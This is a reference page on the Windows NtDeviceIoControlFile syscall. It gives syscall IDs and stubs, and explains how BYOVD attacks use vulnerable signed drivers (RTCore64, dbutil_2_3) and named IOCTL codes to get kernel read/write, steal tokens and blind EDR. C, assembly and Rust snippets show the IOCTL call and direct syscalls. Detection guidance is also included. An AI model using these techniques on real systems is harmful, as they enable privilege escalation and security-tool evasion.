> Windows Syscalls
ntoskrnl.exeT1068T1562.001T1014

NtDeviceIoControlFile

Sends an IOCTL to a kernel driver — the user-mode entry point for every BYOVD primitive abuse.

Prototype

NTSTATUS NtDeviceIoControlFile(
  HANDLE           FileHandle,
  HANDLE           Event,
  PIO_APC_ROUTINE  ApcRoutine,
  PVOID            ApcContext,
  PIO_STATUS_BLOCK IoStatusBlock,
  ULONG            IoControlCode,
  PVOID            InputBuffer,
  ULONG            InputBufferLength,
  PVOID            OutputBuffer,
  ULONG            OutputBufferLength
);

Arguments

NameTypeDirDescription
FileHandleHANDLEinHandle to the device object (e.g. opened via \Device\RTCore64 or \\.\Mimidrv).
EventHANDLEinOptional event signaled on async completion. NULL for sync.
ApcRoutinePIO_APC_ROUTINEinOptional user-mode APC routine queued on completion. Usually NULL.
ApcContextPVOIDinContext value passed to ApcRoutine. NULL when no APC is used.
IoStatusBlockPIO_STATUS_BLOCKoutReceives final NTSTATUS and Information = bytes written to OutputBuffer.
IoControlCodeULONGinCTL_CODE-encoded IOCTL identifier. Driver-specific (e.g. 0x80002048 in RTCore64).
InputBufferPVOIDinInput payload buffer. Layout entirely dictated by the target driver.
InputBufferLengthULONGinSize of InputBuffer in bytes.
OutputBufferPVOIDoutOutput buffer that receives data returned by the driver. May be NULL.
OutputBufferLengthULONGinSize of OutputBuffer in bytes. Zero when OutputBuffer is NULL.

Syscall IDs by Windows version

Windows versionSyscall IDBuild
Win10 15070x7win10-1507
Win10 16070x7win10-1607
Win10 17030x7win10-1703
Win10 17090x7win10-1709
Win10 18030x7win10-1803
Win10 18090x7win10-1809
Win10 19030x7win10-1903
Win10 19090x7win10-1909
Win10 20040x7win10-2004
Win10 20H20x7win10-20h2
Win10 21H10x7win10-21h1
Win10 21H20x7win10-21h2
Win10 22H20x7win10-22h2
Win11 21H20x7win11-21h2
Win11 22H20x7win11-22h2
Win11 23H20x7win11-23h2
Win11 24H20x7win11-24h2
Server 20160x7winserver-2016
Server 20190x7winserver-2019
Server 20220x7winserver-2022
Server 20250x7winserver-2025

Kernel module

ntoskrnl.exeNtDeviceIoControlFile

Related APIs

DeviceIoControlNtFsControlFileNtCreateFileNtLoadDriverStartServiceCreateServiceW

Syscall stub

4C 8B D1            mov r10, rcx
B8 07 00 00 00      mov eax, 0x7
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

Same 9-argument I/O shape as NtReadFile/NtWriteFile/NtFsControlFile — only the meaning of the middle slot changes (an IOCTL code instead of a byte offset). Dispatched in the kernel to `IopXxxControlFile`, which builds an IRP with major code `IRP_MJ_DEVICE_CONTROL` and routes it to the device's dispatch table. The IOCTL value itself encodes the device type, function, transfer method (METHOD_BUFFERED, METHOD_IN_DIRECT, METHOD_OUT_DIRECT, METHOD_NEITHER) and required access — METHOD_NEITHER drivers commonly trust user pointers without probing, which is exactly the class of bug that makes BYOVD work.

Common malware usage

The kernel-driver communication primitive abused by **BYOVD (Bring Your Own Vulnerable Driver)**. The pattern is invariant: drop a Microsoft-signed but vulnerable driver (RTCore64.sys / Micro-Star MSI Afterburner, gdrv.sys / Gigabyte, mhyprot2.sys / Genshin Impact, dbutil_2_3.sys / Dell, Procexp152.sys), call `OpenSCManager`+`CreateService`+`StartService` (or `NtLoadDriver` directly), open `\\.\<DeviceName>`, then issue IOCTLs that expose arbitrary kernel R/W (e.g. RTCore64's 0x80002048 = MmMapIoSpace primitive, dbutil_2_3's 0x9B0C1EC8 = arbitrary physical memory R/W). With that primitive, malware patches `_EPROCESS.Token` for SYSTEM, clears EDR callback arrays (`PsSetCreateProcessNotifyRoutineEx`, `CmRegisterCallbackEx`, `ObRegisterCallbacks`), or unhooks ntoskrnl. Also used as the **AMSI/ETW kill switch** signal in HVNC and EDRSilencer-style tools, and as the IOCTL route into Mimikatz' bundled `mimidrv.sys` for token manipulation.

Detection opportunities

Microsoft-Windows-Kernel-PnP and Microsoft-Windows-Kernel-Audit-API-Calls ETW providers log driver loads — pair with Sysmon Event ID 6 (Driver loaded) which exposes signature, signer, hash and image path. Microsoft's Vulnerable Driver Blocklist (`HVCI`/`Code Integrity` policy `SiPolicy.p7b`, default-on Win11 22H2+) hash-blocks the published BYOVD families — but only when enabled. EDR sensors register `PsSetLoadImageNotifyRoutine` for driver images and `IoRegisterFsRegistrationChange` for filesystem filters; both fire pre-execution. On the IOCTL side, kernel ETW is sparse, so the highest-fidelity signals are (1) image-load of a known-bad driver hash, (2) handle open to a driver device name not used by any legitimate product on the host, (3) process tokens whose `Token` pointer suddenly equals lsass.exe's token (token swap detection). LOLDrivers.io is the canonical hash list.

Direct syscall examples

cBYOVD: send arbitrary-R/W IOCTL to RTCore64

// Pattern: \\.\RTCore64 opened, send the IOCTL that maps physical memory.
#define RTCORE64_MEMORY_READ_IOCTL  0x80002048

typedef struct _RTCORE_PAYLOAD {
    UINT64 dst;
    UINT64 src;
    UINT32 read_size;
    // ... driver-specific layout
} RTCORE_PAYLOAD;

RTCORE_PAYLOAD p = {0};
p.src       = 0xFFFFF80000000000ULL;       // target kernel addr
p.read_size = sizeof(UINT64);

IO_STATUS_BLOCK iosb = {0};
UINT64 out = 0;
NTSTATUS s = NtDeviceIoControlFile(
    hRtcore, NULL, NULL, NULL, &iosb,
    RTCORE64_MEMORY_READ_IOCTL,
    &p,  sizeof(p),
    &out, sizeof(out));

asmDirect stub (SSN 0x7) — 10 args, stack heavy

; NtDeviceIoControlFile takes 10 args. Caller must reserve 32-byte home space
; PLUS room for args 5..10 on the stack before calling this stub.
NtDeviceIoControlFile PROC
    mov  r10, rcx
    mov  eax, 07h
    syscall
    ret
NtDeviceIoControlFile ENDP

rustOpen device + IOCTL helper

// Cargo: ntapi = "0.4", winapi = { version = "0.3", features = ["ntdef"] }
use ntapi::ntioapi::{NtDeviceIoControlFile, IO_STATUS_BLOCK};
use winapi::shared::ntdef::HANDLE;

pub unsafe fn ioctl(
    h_dev: HANDLE,
    code: u32,
    inp: &[u8],
    out: &mut [u8],
) -> (i32, usize) {
    let mut iosb: IO_STATUS_BLOCK = core::mem::zeroed();
    let s = NtDeviceIoControlFile(
        h_dev, core::ptr::null_mut(),
        None, core::ptr::null_mut(),
        &mut iosb,
        code,
        inp.as_ptr() as *mut _, inp.len() as u32,
        out.as_mut_ptr() as *mut _, out.len() as u32,
    );
    (s, *iosb.u.Status_mut() as usize)
}

MITRE ATT&CK mappings

Last verified: 2026-05-20